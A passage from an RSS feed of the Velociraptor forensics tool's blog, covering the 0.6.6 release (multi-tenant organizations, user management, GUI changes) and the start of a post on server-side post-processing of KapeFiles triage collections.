&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;The Process Tracker is a very exciting feature and can help resolve&#xA;incidents quickly by providing invaluable context. However it is only&#xA;useful when Velociraptor is constantly running on the endpoint. If you&#xA;usually use Velociraptor&amp;rsquo;s offline collector to just collect a point&#xA;in time snapshot the process tracker will not be able to provide&#xA;information about exited processes.&lt;/p&gt;&#xA;&lt;p&gt;If you like the new process tracker feature, take &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;Velociraptor for a&#xA;spin&lt;/a&gt;!  It is a available&#xA;on GitHub under an open source license. As always please file issues&#xA;on the bug tracker or ask questions on our mailing list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;&#xA;. You can also chat with us directly on discord&#xA;&lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor 0.6.6 Release</title>
      <link>https://www.velociraptor-docs.org/blog/2022/2022-08-15-release-notes/</link>
      <pubDate>Wed, 07 Sep 2022 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2022/2022-08-15-release-notes/</guid>
      <description>&lt;p&gt;I am very excited to announce the latest Velociraptor release 0.6.6 is&#xA;now out. This release has been in the making for a few months now and&#xA;has a lot of new features and bug fixes.&lt;/p&gt;&#xA;&lt;p&gt;In this post I will discuss some of the interesting new features.&lt;/p&gt;&#xA;&lt;h2 id=&#34;multi-tenant-mode&#34;&gt;Multi-Tenant mode&lt;/h2&gt;&#xA;&lt;p&gt;The largest improvement in the 0.6.6 release by far is the&#xA;introduction of organizational division within Velociraptor.&#xA;Velociraptor is now a fully multi-tenanted application. Each&#xA;organization is like a completely different Velociraptor installation,&#xA;with unique hunts, notebooks and clients:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Organizations can be created and deleted easily with no overheads.&lt;/li&gt;&#xA;&lt;li&gt;Users can seamlessly switch between organizations using the GUI.&lt;/li&gt;&#xA;&lt;li&gt;Operations like hunting and post processing can occur across organizations.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;When looking at the latest Velociraptor GUI you might notice the&#xA;organizations selector in the &lt;code&gt;User Setting&lt;/code&gt; page.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-15-release-notes//blog/2022/2022-08-15-release-notes/user_settings.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;The latest User Settings page&#34;&#xA;         width=&#34;1052&#34; height=&#34;568&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;user_settings.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    The latest User Settings page&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This allows the user to switch between the different organizations&#xA;they belong in.&lt;/p&gt;&#xA;&lt;h3 id=&#34;multi-tenanted-example&#34;&gt;Multi-Tenanted example&lt;/h3&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s go through a quick example of how to create a new organization&#xA;and use them in practice.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34; Preparing for new organizations &#34;&gt;&lt;p&gt;Multi-Tenancy is simply a layer of abstraction in the GUI separating&#xA;Velociraptor objects (such as clients, hunts, notebooks etc) into&#xA;different organizational units.&lt;/p&gt;&#xA;&lt;p&gt;You &lt;strong&gt;do not&lt;/strong&gt; need to do anything specific to prepare for a&#xA;multi-tenant deployment. Every Velociraptor deployment can create a&#xA;new organization at any time without affecting the current install&#xA;base at all.&lt;/p&gt;&#xA;&lt;p&gt;By default all Velociraptor installs (including upgraded ones) have a&#xA;&lt;strong&gt;root&lt;/strong&gt; organization which contains their current clients, hunts,&#xA;notebooks etc (You can see this in the screenshot above). If you&#xA;choose to not use the multi-tenant feature, your Velociraptor install&#xA;will continue working with the root organization without change.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;Suppose a new customer is on-boarded but they do not have a large&#xA;enough install base to warrant a new cloud deployment (with the&#xA;associated infrastructure costs). I want to create a new organization&#xA;for this customer in the current Velociraptor deployment.&lt;/p&gt;&#xA;&lt;h3 id=&#34;creating-a-new-organization&#34;&gt;Creating a new Organization&lt;/h3&gt;&#xA;&lt;p&gt;To create a new organization I simply run the &lt;code&gt;Server.Orgs.NewOrg&lt;/code&gt;&#xA;server artifact from the &lt;code&gt;Server Artifacts&lt;/code&gt; screen.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-15-release-notes//blog/2022/2022-08-15-release-notes/new_org.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Creating a new organization&#34;&#xA;         width=&#34;795&#34; height=&#34;634&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;new_org.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Creating a new organization&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;All I need to do is simply give the organization a name.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-15-release-notes//blog/2022/2022-08-15-release-notes/new_org_results.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;New organization is created with a new OrgId and an Admin User&#34;&#xA;         width=&#34;1172&#34; height=&#34;529&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;new_org_results.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    New organization is created with a new OrgId and an Admin User&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor uses the OrgId internally to refer to the organization&#xA;but the organization name is used in the GUI to select the different&#xA;organizations. The new organization is created with the current user&#xA;being the new administrator of this org.&lt;/p&gt;&#xA;&lt;h3 id=&#34;deploying-clients-to-the-new-organization&#34;&gt;Deploying clients to the new organization.&lt;/h3&gt;&#xA;&lt;p&gt;Since all Velociraptor agents connect to the same server, there has to&#xA;be a way for the server to identify which organization each client&#xA;belongs in. This is determined by the unique &lt;code&gt;nonce&lt;/code&gt; inside the&#xA;client&amp;rsquo;s configuration file. Therefore each organization has a unique&#xA;client configuration that should be deployed to that organization.&lt;/p&gt;&#xA;&lt;p&gt;I will list all the organizations on the server using the&#xA;&lt;code&gt;Server.Orgs.ListOrgs&lt;/code&gt; artifact. Note that I am checking the&#xA;&lt;code&gt;AlsoDownloadConfigFiles&lt;/code&gt; parameter to receive the relevant&#xA;configuration files.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-15-release-notes//blog/2022/2022-08-15-release-notes/list_orgs.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Listing all the organizations on the server&#34;&#xA;         width=&#34;879&#34; height=&#34;627&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;list_orgs.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Listing all the organizations on the server&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The artifact also uploads the configuration files.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-15-release-notes//blog/2022/2022-08-15-release-notes/list_orgs_configs.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Viewing the organizations’ configuration files&#34;&#xA;         width=&#34;1271&#34; height=&#34;528&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;list_orgs_configs.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Viewing the organizations’ configuration files&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Now I go through the usual deployment process with these configuration&#xA;files and prepare MSI, RPM or Deb packages as normal.&lt;/p&gt;&#xA;&lt;h3 id=&#34;switching-between-organizations&#34;&gt;Switching between organizations.&lt;/h3&gt;&#xA;&lt;p&gt;I can now switch between organizations using the organization selector.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-15-release-notes//blog/2022/2022-08-15-release-notes/switching_orgs.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Switching between orgs&#34;&#xA;         width=&#34;997&#34; height=&#34;233&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;switching_orgs.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Switching between orgs&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Now the interface is inside the new organization&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-15-release-notes//blog/2022/2022-08-15-release-notes/viewing_orgs.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Viewing an organization&#34;&#xA;         width=&#34;1368&#34; height=&#34;354&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;viewing_orgs.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Viewing an organization&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Note the organization name is shown in the user tile, and client id&amp;rsquo;s&#xA;have the org id appended to them to remind us that the client exists&#xA;within the org.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The new organization is functionally equivalent to a brand new&#xA;deployed server! It has a clean data store with new hunts, clients,&#xA;notebooks etc. Any server artifacts will run on this organization&#xA;only and server monitoring queries will also only apply to this&#xA;organization.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h3 id=&#34;adding-other-users-to-the-new-organization&#34;&gt;Adding other users to the new organization&lt;/h3&gt;&#xA;&lt;p&gt;By default, the user which created the organization is given the&#xA;administrator role within that organization. Users can be assigned&#xA;arbitrary roles &lt;strong&gt;within the organization&lt;/strong&gt;, so for example a user may&#xA;be an administrator in one organization but a reader in another&#xA;organization.&lt;/p&gt;&#xA;&lt;p&gt;You can add new users or change the user&amp;rsquo;s roles using the&#xA;&lt;code&gt;Server.Utils.AddUser&lt;/code&gt; artifact. When using basic authentication, this&#xA;artifact will create a user with a random password. The password will&#xA;then be stored in the server&amp;rsquo;s metadata where it can be shared with&#xA;the user. (We normally recommend Velociraptor to be used with SSO such&#xA;as OAuth2 or SAML and not to use passwords to manage access).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-15-release-notes//blog/2022/2022-08-15-release-notes/adding_user.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Adding a new user into the org&#34;&#xA;         width=&#34;1206&#34; height=&#34;633&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;adding_user.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Adding a new user into the org&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;View the user&amp;rsquo;s password in the server metadata screen. (You can remove&#xA;this entry when done with it or ask the user to change their password).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-15-release-notes//blog/2022/2022-08-15-release-notes/server_metadata.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;View the new user password in the server metadata screen&#34;&#xA;         width=&#34;1358&#34; height=&#34;394&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;server_metadata.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    View the new user password in the server metadata screen&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;You can view all users in all orgs by collecting the&#xA;&lt;code&gt;Server.Utils.ListUsers&lt;/code&gt; artifact within the root org context.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-15-release-notes//blog/2022/2022-08-15-release-notes/list_users.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Viewing all the users on the system&#34;&#xA;         width=&#34;1358&#34; height=&#34;611&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;list_users.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Viewing all the users on the system&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices warning&#34;&gt;&#xA;  &lt;div heading=&#34; User permissions and organizations &#34;&gt;&lt;p&gt;Although Velociraptor respects the assigned roles of users within an&#xA;organizations, at this stage this should not be considered as an&#xA;adequate security control. This is because there are obvious&#xA;escalation paths between roles on the same server. For example,&#xA;currently an &lt;code&gt;administrator&lt;/code&gt; role by design has the ability to write&#xA;arbitrary files on the server and run arbitrary commands (primarily&#xA;this functionality allows for post processing flows with external&#xA;tools).&lt;/p&gt;&#xA;&lt;p&gt;This is currently also the case in different organizations, so an&#xA;organization administrator can easily add themselves to another&#xA;organization or indeed to the root organization, change their own&#xA;roles etc.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor is not designed to contain untrusted users to their own&#xA;organization unit at this stage, instead allowing administrators&#xA;flexibility and power.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;gui-improvements&#34;&gt;GUI Improvements&lt;/h2&gt;&#xA;&lt;p&gt;The 0.6.6 release introduces a number of other GUI improvements&lt;/p&gt;&#xA;&lt;h3 id=&#34;updating-users-passwords&#34;&gt;Updating user&amp;rsquo;s passwords&lt;/h3&gt;&#xA;&lt;p&gt;Usually Velociraptor is deployed in production using SSO such as&#xA;Google&amp;rsquo;s OAuth2 and in this case user&amp;rsquo;s manage their password using&#xA;the provider&amp;rsquo;s own infrastructure.&lt;/p&gt;&#xA;&lt;p&gt;However it is sometimes convenient to deploy Velociraptor in &lt;code&gt;Basic&lt;/code&gt;&#xA;authentication mode (for example for on-premises or air gaped&#xA;deployment). Velociraptor now offers the ability for users to change&#xA;their own passwords within the GUI.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-15-release-notes//blog/2022/2022-08-15-release-notes/update_password.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Users may update their passwords in the GUI&#34;&#xA;         width=&#34;983&#34; height=&#34;364&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;update_password.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Users may update their passwords in the GUI&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;allow-notebook-gui-to-set-notebooks-to-public&#34;&gt;Allow notebook GUI to set notebooks to public.&lt;/h3&gt;&#xA;&lt;p&gt;Previously notebooks could be shared with specific other users but&#xA;this proved unwieldy for larger installs with many users. In this&#xA;release Velociraptor offers a notebook to be &lt;code&gt;public&lt;/code&gt; - this means the&#xA;notebook will be shared with all users within the org.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-15-release-notes//blog/2022/2022-08-15-release-notes/public_notebooks.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Sharing a notebook with all users&#34;&#xA;         width=&#34;859&#34; height=&#34;412&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;public_notebooks.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Sharing a notebook with all users&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;more-improvements-to-the-process-tracker&#34;&gt;More improvements to the process tracker&lt;/h3&gt;&#xA;&lt;p&gt;The experimental process tracker is described in more details&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-17-process-tracker/&#34;&gt;here&lt;/a&gt;, but you&#xA;can already begin using it by enabling the&#xA;&lt;code&gt;Windows.Events.TrackProcessesBasic&lt;/code&gt; client event artifact and using&#xA;artifacts just as &lt;code&gt;Generic.System.Pstree&lt;/code&gt;, &lt;code&gt;Windows.System.Pslist&lt;/code&gt; and&#xA;many others.&lt;/p&gt;&#xA;&lt;h3 id=&#34;context-menu&#34;&gt;Context Menu&lt;/h3&gt;&#xA;&lt;p&gt;A new context menu is now available to allow sending any table cell&#xA;data to an external service.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-15-release-notes//blog/2022/2022-08-15-release-notes/sendto.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Sending a cell content to an external service&#34;&#xA;         width=&#34;424&#34; height=&#34;258&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;sendto.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Sending a cell content to an external service&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This allows for quick lookups using &lt;code&gt;VirusTotal&lt;/code&gt; or a quick&#xA;&lt;code&gt;CyberChef&lt;/code&gt; analysis. You can also add your own send to items in the&#xA;configuration files.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;If you like the new features, take &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;Velociraptor for a&#xA;spin&lt;/a&gt;!  It is a available&#xA;on GitHub under an open source license. As always please file issues&#xA;on the bug tracker or ask questions on our mailing list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;&#xA;. You can also chat with us directly on discord&#xA;&lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Postprocessing Collections</title>
      <link>https://www.velociraptor-docs.org/blog/2022/2022-08-04-post-processing/</link>
      <pubDate>Wed, 03 Aug 2022 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2022/2022-08-04-post-processing/</guid>
      <description>&lt;p&gt;Traditionally the digital forensic process consists of several distinct phases:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The &lt;em&gt;collection&lt;/em&gt; or &lt;em&gt;acquisition&lt;/em&gt; phase consists of collecting as much&#xA;evidence as possible from the endpoint.&lt;/li&gt;&#xA;&lt;li&gt;Once data is collected, the data is &lt;em&gt;parsed and analyzed&lt;/em&gt; on a&#xA;different system, to make inferences about the case.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Traditionally, the acquisition phases consists of a bit for bit copy&#xA;of the disk and memory. However in modern DFIR investigations, this is&#xA;just not practical due to the large volumes of data involved.&lt;/p&gt;&#xA;&lt;p&gt;Modern DFIR investigations use a triaging approach, where selected&#xA;high value files are collected from the endpoint (For example&#xA;&lt;a href=&#34;https://www.kroll.com/en/insights/publications/cyber/kroll-artifact-parser-extractor-kape&#34; target=&#34;_blank&#34; &gt;Kape&lt;/a&gt;&#xA;is a commonly used Triaging tool for collecting files).&lt;/p&gt;&#xA;&lt;p&gt;Typically triage collections consist of collecting event log files,&#xA;the $MFT, the USN Journal, registry hives etc.&lt;/p&gt;&#xA;&lt;p&gt;Once files are collected, they are typically parsed using various&#xA;parsers and single purpose tools. Traditionally using tools such as&#xA;&lt;code&gt;Plaso&lt;/code&gt;, Eric Zimmerman&amp;rsquo;s tools and various specialized scripts.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34; The KapeFiles project &#34;&gt;&lt;p&gt;In the following discussion we refer to the&#xA;&lt;code&gt;Windows.KapeFiles.Targets&lt;/code&gt; artifact. This artifact is not related to&#xA;the commercial &lt;code&gt;Kape&lt;/code&gt; product. The artifact is generated from the open&#xA;source &lt;a href=&#34;https://github.com/EricZimmerman/KapeFiles&#34; target=&#34;_blank&#34; &gt;KapeFiles&lt;/a&gt; project&#xA;on GitHub - an effort to document the path location of many bulk file&#xA;evidence sources.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;the-velociraptor-approach-to-triage&#34;&gt;The Velociraptor approach to triage&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor is a one stop shop for all DFIR needs. It already&#xA;includes all the common parsers (e.g. NTFS artifacts, EVTX, LNK,&#xA;prefetch parsers and many more) on the endpoint itself. All this&#xA;capability is made available via &lt;code&gt;VQL artifacts&lt;/code&gt; - simple YAML files&#xA;containing VQL queries that can be used to perform the parsing&#xA;directly on the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;New Velociraptor users tend to bring the traditional DFIR approach to&#xA;a distributed setting. Newer users prefer to use the&#xA;&lt;code&gt;Windows.KapeFiles.Targets&lt;/code&gt; artifact to collect those same files that&#xA;are traditionally collected for triage using Velociraptor. Files such&#xA;as event logs, $MFT, prefetch etc are collected from the endpoint to&#xA;the server (sometimes consisting of a few GB of data).&lt;/p&gt;&#xA;&lt;p&gt;But now there is a common problem - how to post process these raw&#xA;files to extract relevant information?&lt;/p&gt;&#xA;&lt;p&gt;New users simply export the raw files from Velociraptor and then&#xA;use the traditional single use tools on the raw files. However, can we&#xA;use Velociraptor itself to parse these raw files on the server?&lt;/p&gt;&#xA;&lt;p&gt;This blog post is about this use case: How can we apply Velociraptor&amp;rsquo;s&#xA;powerful parsing and analysis capabilities to the collected bulk data&#xA;from the &lt;code&gt;Windows.KapeFiles.Targets&lt;/code&gt; artifact?&lt;/p&gt;&#xA;&lt;h2 id=&#34;collecting-bulk-files-with-windowskapefilestargets&#34;&gt;Collecting bulk files with Windows.KapeFiles.Targets&lt;/h2&gt;&#xA;&lt;p&gt;In this example I will perform a &lt;code&gt;KapeFiles&lt;/code&gt; collection on my&#xA;system. I have selected the &lt;code&gt;BasicCollection&lt;/code&gt; as a reasonable trade&#xA;off between collecting too much data but providing important files&#xA;such as event logs, registry hives and the $MFT.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-04-post-processing//blog/2022/2022-08-04-post-processing/kapefiles_collection.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Collecting KapeFiles targets&#34;&#xA;     